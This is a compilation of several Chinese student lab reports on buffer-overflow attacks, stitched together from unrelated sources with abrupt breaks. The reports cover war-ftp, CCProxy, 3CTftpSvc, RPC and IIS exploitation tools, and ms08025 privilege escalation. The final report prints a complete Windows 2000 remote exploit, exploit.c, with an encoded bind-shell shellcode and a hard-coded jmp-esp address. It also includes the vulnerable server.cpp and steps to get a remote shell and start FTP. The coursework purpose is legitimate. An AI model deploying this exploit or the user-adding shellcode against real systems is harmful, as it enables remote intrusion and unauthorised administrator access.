网络安全缓冲区溢出技术实验报告
网络攻击与防范实验报告-缓冲区溢出

网络攻击与防范实验报告姓名:____王小北___ 学号:___ 201411111111111111 _ 所在班级:实验名称:缓冲区溢出实验日期:2014年11月7日指导老师:实验评分:验收评语:实验目的:1.掌握缓冲区溢出的原理2.掌握常用的缓冲区溢出方法3.理解缓冲区溢出的危害性4.掌握防范和避免缓冲区溢出攻击的方法实验工具:溢出对象:war-ftp 1.65 ( 自己分析)调试工具:Debugging Tools for Windows 中(网上有下载)实验环境:虚拟机vmware workstation 10 Windows XP sp1高级语言编程:Socket编程VS2010实验步骤:原理:war-ftp 1.65版本的一个漏洞,即向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后ESP内容包含了longString中的部分内容。
过程:攻击者向war-ftp发送多余480字节的用户名,触发war-ftpd的漏洞,产生缓冲区溢出,此时war-ftpd将出现错误。
接下来通过PatterntTool工具构造的一串不重复字符串(1000个不同字符串,存入test.txt中),通过其时eip的内容,利用patternoffset.pl工具来确定RET的位置。
在网上寻找一段具有攻击效果的Shellcode,作为所发送的war-ftpd用户名。
其最主要是通过上边所确定的RET的位置,将“JMP ESP”指令的地址(0x7ffa4512)传递到RET 位置,最终目的是将指令指针转移到esp的位置。
同时我们可以通过确定esp的位置,从而在构造字符串时直接将shellcode代码加在在用户名上,使其能直接被放入esp所指的位置,即达到将其放入esp指向的缓冲区的目的。
通过发送构造的用户名,导致war-ftpd发生缓冲区溢出。
Shellcode的功能是建立一个新用户hack,可以用过net user命令来查看用户,最后发现攻击成功。
缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
缓冲区溢出

"\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */;int main(int argc, char **argv){char buf[sizeof(code)];strcpy(buf, code);((void(*)( ))buf)( ); } 这段 shellcode 的一些地方值得注意。首先,第三行将“//sh”而不是“/sh”推 入栈,这是因为我们在这里需要一个 32 位的数字而“/sh”只有 24 位。幸运的 是,“//”和 “/”等价,所以我们使用“//”对程序也没什么影响,而且起到补 位作用。第二,在调用 execve()之前,我们需要分别存储 name[0](串地址), name(列地址)和 NULL 至%ebx, %ecx,和%edx 寄存器。第 5 将 name[0]存 储%ebx;第 8 行将 name 存储到%ecx; 第 9 行将%edx 设为 0;还有其它方法可 以设%edx 为 0(如 xorl %edx, %edx)。这里用的(cdql)指令只是较为简短。第 三,当我们将%al 设为 11 时调用了 system callexecve(),并执行了“int $0x80”。
2.4 任务 1:攻击漏洞
我们提供给你一段部分完成的攻击代码“exploit.c”,这段代码的目的是为 “badfile”创建内容。代码中,shell code 已经给出,你需要完成其余部分。 /* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h>
0day缓冲区溢出实验报告

网络安全缓冲区溢出实践班级:信安一班学号:*************姓名:***1 栈溢出1.1 修改邻接值首先写一个密码验证程序,正确密码为1234567在ollydbg中进行调试在验证密码时输入8888888提示错误。
堆栈情况:可以看出,输入的password储存在0012FB7C处authenticated变量存储在0012FF7C处。
由于8888888>1234567,所以值为1。
如果输入溢出,情况是这样的:输入8888888wsk,发现sk溢出到了authenticated变量处而我们的目标是使authenticated被覆盖为0,因此,输入8个字符,字符串最后的’\0\即null会覆盖authenticated使它成为0。
不过并不是所有的8个字符都可以。
如果输入的字符串小于1234567,那么authenticated是-1的补码即FFFFFFFF,这时只修改最后的一位还是不能使authenticated成为00000000,如这时authenticated值为===================================================================== 1.2 修改函数返回地址改为从文件中读取密码超出buffer范围的字符会依次淹没authenticated、EBP和返回地址。
观察反汇编:此处00401005即为验证函数,取出EAX中的返回值与0比较,如果相等则跳入00401125。
所以将password文件修改如下:可以覆盖返回地址,使程序跳入验证正确的分支2 代码植入通过栈溢出让程序执行输入数据中植入的代码在输入数据里包含自己想要执行的代码,然后通过返回地址让程序跳转到系统栈里执行。
向password.txt文件里植入二进制的机器码。
调用windows的API函数将buffer长度扩展为44,先将password文件修改为11个4321来进行实验,验证通过后堆栈情况如图:buffer起始还是0012FB7C,authenticated也还是0012FF7C,后面依次为EBP和返回地址。
实验2:缓冲区溢出

3.4.2 寻找jmp指令地址
前面说到,我们选择通过jmp esp来实现程 序跳转,也就是说,要在RET的位置放置 jmp esp指令的地址,那么,到哪里找jmp esp指令呢? 最好是能在系统中找到现成的,而不需要 我们重新再构造 事实上,在Windows系统的许多DLL中都 能找到jmp esp这样一条指令,一个通用的 地址是0x7ffa4512
4. 实验说明——3CTftpSvc
软件名称:3CTftpSvc 影响版本:Current version:2.0.1 漏洞描述:畸形的传输模式可以导致缓冲 区溢出,覆盖EIP,可能造成拒绝服务攻击和 远程代码执行。 漏洞调试:当传输模式为mode = "netascii" + "A" * 469时覆盖EIP
因此,在网上下载的CCProxy 6.2有可能 是已修补了该漏洞的程序
4. 实验说明——War-ftp
war-ftp漏洞提示:向服务器发送超过480 字节的用户名可以触发漏洞(即使用命令 USER longString\r\n),溢出之后,ESP中 的内容包含了longString中的部分内容
3.1 介绍CCProxy
CCProxy因其设 置简单和使用方便 等特点,成为国内 最受欢迎的代理服 务器软件。 CCProxy不但支 持常见的HTTP和 SOCKS代理,而且还 支持FTP和Telnet这 类不常用的协议及 其它协议。
3.2 漏洞说明
CCProxy在代理Telnet协议时,可以接受 Ping命令
Socket编程 连接目标主机(connect) 构造溢出字符串(即构造后接shellcode的 ping命令:ping shellcode\r\n) 向目标主机发送溢出字符串(send) 关闭连接
(完整word版)缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告班级:10网工三班学生姓名:谢昊天学号:1215134046实验目的和要求:1、掌握缓冲区溢出的原理;2、了解缓冲区溢出常见的攻击方法和攻击工具;实验内容与分析设计:1、利用RPC漏洞建立超级用户利用工具scanms.exe文件检测RPC漏洞,利用工具软件attack.exe对172.18.25.109进行攻击。
攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。
2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。
3、利用WebDav远程溢出使用工具软件nc.exe和webdavx3.exe远程溢出。
实验步骤与调试过程:1.RPC漏洞出。
首先调用RPC(Remote Procedure Call)。
当系统启动的时候,自动加载RPC服务。
可以在服务列表中看到系统的RPC服务。
利用RPC漏洞建立超级用户。
首先,把scanms.exe文件拷贝到C盘跟目录下,检查地址段172.18.25.109到172.18.25.11。
点击开始>运行>在运行中输入cmd>确定。
进入DOs模式、在C盘根目录下输入scanms.exe 172.18.25.109-172.18.25.110,回车。
检查漏洞。
2.检查缓冲区溢出漏洞。
利用工具软件attack.exe对172.18.25.109进行攻击。
在进入DOC 模式、在C盘根目录下输入acctack.exe 172.18.25.109,回车。
3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。
进入IIS溢出工具软件的主界面.IP:172.18.25.109 PORT:80 监听端口为813单击IDQ溢出。
出现攻击成功地提示对话框。
4.利用工具软件nc.exe连接到该端口。
进入DOs模式,在C盘根目录下输入nc.exe -vv 172.18.25.109 813 回车。
网络安全实验报告 - 缓冲区溢出攻击

一实验名称利用跳转指令实现缓冲区溢出定位参数地址实现缓冲区溢出二实验目的1.熟练掌握缓冲区溢出原理2.利用jmp esp指令实现缓冲区溢出3.熟练掌握缓冲区溢出原理4.利用定位参数地址实现缓冲区溢出三实验步骤利用跳转指令实现缓冲区溢出1.编写前导码程序中提供了一个超长前导码,对程序进行调试来确定实际需要的前导码长度在图中可以看出,0x49484746四字节覆盖了ret返回地址2.查找jmp esp指令地址运行FindJmpesp工具,选取一个地址追加到shellcode尾(追加填加地址时注意数组高字节对应地址高位),所选jmp esp指令地址是0x77e424da跟踪调试程序,确定在memcpy执行返回时jmp esp指令是否被执行从图看出,在jmp esp指令执行完毕后,指令指针紧接着执行了3个空指令,而空指令是追加在shellcode尾部的3.生成实现弹出对话框的指令码MessageBoxA函数的绝对内存地址,该地址为0x77E10000+0x0003D8DE=0x77E4D8DE函数ExitProcess的绝对内存地址0x7C800000+0x00013039=0x7C813039利用反汇编功能获取代码字节,将代码字节以十六进制数据形式继续追加到shellcode尾。
重新编译执行。
定位参数实现缓冲区溢出1.进入工程2.生成shellcode功能体(1)首先设置OverFlowClient项目为启动项。
(2)使用Depends工具打开FindShellBase.exe文件定位上述内存地址kernel32.dll 0x7C800000LoadlibraryA 0x7C800000+0x00001E60=7C801E60SHELL32.DLL 0x7CA10000shellExecuteA 0x7CA10000+0x0008F6D4=0x7CA9F6D4(3)编译并生成OverFlowClient.exe,执行OverFlowClient.exe,确定系统是否新建了jlcss用户,并隶属Administrators组。
信息安全实验-缓冲区溢出-蒋智超

缓冲区溢出一、实验目的掌握缓冲区溢出攻击的现象掌握使用缓冲区溢出工具的方法二、实验步骤一.利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。
2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:图4-1-1 工具目录中的内容上图中标注的“ms06035.exe”即为ms06035漏洞利用工具。
3.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip 445”命令,发起对主机B的攻击。
4.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。
二.利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。
「注」主机B单击“ms08025工具”按钮,进入实验目录。
将ms08025.exe复制到D盘的根目录下,以便实验下一步进行。
1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,当出现“您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)”当出现此提示时,选择n,输入登录账号“student”,密码“123456”。
登录成功如下图所示。
图4-1-2 telnet登录(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。
图4-1-3 实验工具2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:图4-1-4 使用系统命令添加用户请解释出现上述现象的原因:。
3.查看ms08025工具使用方法主机A在telnet命令行中输入“ms08025.exe”,查看工具的使用方法,如下图所示:图4-1-5 ms08025工具使用方法4.使用ms08025工具添加用户主机A执行“ms08025.exe "net user student1 /add"”命令,提示命令成功完成,证明用户student1成功添加,如下图所示:图4-1-6 使用ms08025工具添加用户5.查看用户信息主机A用命令“net user student1”查看用户student1的信息,发现用户student1创建成功,隶属于Users组。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
网络实验报告一、实验目的及要求1、目的了解和掌握Win32平台缓冲区溢出原理;学会使用Win32平台Shellcode技术。
2、内容及要求以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。
二、仪器用具计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。
三、实验方法与步骤在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。
在server.cpp中能够产生缓冲区溢出的程序片段如下:void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}这两个程序的完整代码见附件。
由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131运行exploit程序的系统IP地址为:192.168.209.1实验的过程如下:1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下:C:\test>cl server.cppC:\test>cl exploit.c编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj截图如下图1所示:图 12.在windows2000系统中运行服务程序:server.cppC:\test>server.exe截图如下图2所示:图 23.将编译好的exploit程序拷贝到windows 7系统中来测试4.在windows 7系统中运行exploit.exe程序,如下D:\client\exploit.exe 192.168.209.131 8888截图如下图3所示:图3这样就可以获得目标主机的CMD了,接下来的任务是开启目标主机的FTP服务。
5.紧接着上面的步骤,在获得CMD的情况下,运行如下的命令来开启目标机器的FTP服务C:\test>net start “ftp publishing service”截图如下图4所示:图4四、实验结果及讨论从上面的截图可以看出,实验通过exploit.exe程序顺利的获取了目标机器的CMD并启动FTP服务。
由于不同的系统下JMP跳转指令的地址不相同,因此在windows xp与windows 2000程序的差别在于#define JUMPESP的定义。
windows2000下可以采用如下的定义:#define JUMPESP "\x12\x45\xfa\x7f"windows xp sp2可以采用下面的定义:#define JUMPESP "\xed\x1e\x96\x7c"由于程序是使用VC6编译器来编译的,它保持4字节栈对齐,因此服务程序server.cpp并不需要任何改动。
五、附录exploit.c程序代码#include <stdio.h>#include <stdlib.h>#include <windows.h>#pragma comment (lib,"ws2_32")// jmp esp address of chinese version#define JUMPESP "\x12\x45\xfa\x7f" char shellcode[] ="\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\ x01\x80\x34\x0b\xf8\xe2\xfa""\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\ xf8\xf8\xa7\x9c\x59\xc8""\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x5 5\x73\x90\xf0\x73\x0f\x92""\xfb\xa1\x10\x61\xf8\xf8\xf8\x1a\x01\x9 0\xcb\xca\xf8\xf8\x90\x8f""\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\x fd\xa1\x10\x78\xf8\xf8\xf8""\x1a\x01\x79\x14\x68\xf9\xf8\xf8\xac\x9 0\xf9\xf9\xf8\xf8\x07\xae""\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x0 7\xae\xe8\x73\x20\xcb\x38""\xa8\xa8\x90\xfa\xf8\xe9\xa4\x73\x34\x 92\xe8\xa9\xab\x07\xae\xec" "\x92\xf9\xab\x07\xae\xe0\xa8\xa8\xab\x 07\xae\xe4\x73\x20\x90\x9b""\x95\x9c\xf8\x75\xec\xdc\x7b\x14\xac\x 73\x04\x92\xec\xa1\xcb\x38""\x71\xfc\x77\x1a\x03\x3e\xbf\xe8\xbc\x 06\xbf\xc4\x06\xbf\xc5\x71""\xa7\xb0\x71\xa7\xb4\x71\xa7\xa8\x75\x bf\xe8\xaf\xa8\xa9\xa9\xa9""\x92\xf9\xa9\xa9\xaa\xa9\x07\xae\xfc\xc b\x38\xb0\xa8\x07\xae\xf0""\xa9\xae\x73\x8d\xc4\x73\x8c\xd6\x80\x fb\x0d\xae\x73\x8e\xd8\xfb""\x0d\xcb\x31\xb1\xb9\x55\xfb\x3d\xcb\x 23\xf7\x46\xe8\xc2\x2e\x8c""\xf0\x39\x33\xff\xfb\x22\xb8\x13\x09\xc 3\xe7\x8d\x1f\xa6\x73\xa6""\xdc\xfb\x25\x9e\x73\xf4\xb3\x73\xa6\x e4\xfb\x25\x73\xfc\x73\xfb""\x3d\x53\xa6\xa1\x3b\x10\xfa\x07\x07\x 07\xca\x8c\x69\xf4\x31\x44""\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x 78\xd5\xca\x80\x26\x9c\xe8""\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf 9";// ripped from isnoint Make_Connection(char *address,int port,int timeout){struct sockaddr_in target;SOCKET s;int i;DWORD bf;fd_set wd;struct timeval tv;s = socket(AF_INET,SOCK_STREAM,0);if(s<0)return -1;target.sin_family = AF_INET;target.sin_addr.s_addr = inet_addr(address);if(target.sin_addr.s_addr==0){closesocket(s);return -2;}target.sin_port = htons(port);bf = 1;ioctlsocket(s,FIONBIO,&bf);_sec = timeout;_usec = 0;FD_ZERO(&wd);FD_SET(s,&wd);connect(s,(struct sockaddr *)&target,sizeof(target));if((i=select(s+1,0,&wd,0,&tv))==(-1)){closesocket(s);return -3;}if(i==0){closesocket(s);return -4;}i = sizeof(int);getsockopt(s,SOL_SOCKET,SO_ERROR ,(char *)&bf,&i);if((bf!=0)||(i!=sizeof(int))){closesocket(s);return -5;}ioctlsocket(s,FIONBIO,&bf);return s;}/* ripped from TESO code and modifed by ey4s for win32 */void shell (int sock){int l;char buf[512];struct timeval time;unsigned long ul[2];_sec = 1;_usec = 0;while (1){ul[0] = 1;ul[1] = sock;l = select (0, (fd_set *)&ul, NULL, NULL, &time);if(l==1){l = recv (sock, buf, sizeof (buf), 0);if (l <= 0){printf ("[-] Connection closed.\n");return;}l = write (1, buf, l);if (l <= 0){printf ("[-] Connection closed.\n");return;}}else{l = read (0, buf, sizeof (buf));if (l <= 0){printf("[-] Connection closed.\n");return;}l = send(sock, buf, l, 0);if (l <= 0){printf("[-] Connection closed.\n");return;}}}}int main(int argc, char *argv[]){SOCKET c,s;WSADATA WSAData;char Buff[1024];if (argc < 3){fprintf(stderr, "Usage: %s remote_addr remote_port", argv[0]);exit(1);}if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0){printf("[-] WSAStartup failed.\n");WSACleanup();exit(1);}memset(Buff, 0x90, sizeof(Buff)-1);strcpy(Buff+56, JUMPESP);strcpy(Buff+60, shellcode);s = Make_Connection(argv[1], atoi(argv[2]), 10);if(s<0){printf("[-] connect err.\n");exit(1);}send(s,Buff,sizeof(Buff),0);Sleep(1000);c = Make_Connection(argv[1], 4444,10);shell(c);WSACleanup();return 1;}server.cpp程序代码#include <winsock2.h>#include <stdio.h>#pragma comment(lib,"ws2_32")char Buff[2048];void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}int main(){WSADATA wsa;SOCKET listenFD;int ret;char asd[2048];WSAStartup(MAKEWORD(2,2),&wsa);listenFD = WSASocket(2,1,0,0,0,0);struct sockaddr_in server;server.sin_family = AF_INET;server.sin_port = htons(8888);server.sin_addr.s_addr = INADDR_ANY;ret=bind(listenFD,(sockaddr*)&server,sizeof(server));ret=listen(listenFD,2);int iAddrSize = sizeof(server);SOCKETclientFD=accept(listenFD,(sockaddr*)&server,&iAddrSize);unsigned long lBytesRead;while(1) {lBytesRead=recv(clientFD,Buff,2048,0);if(lBytesRead<=0) break;printf("\nfd = %x\n", clientFD);overflow(Buff,lBytesRead);ret=send(clientFD,Buff,lBytesRead,0);if(ret<=0) break;}WSACleanup();return 0;}。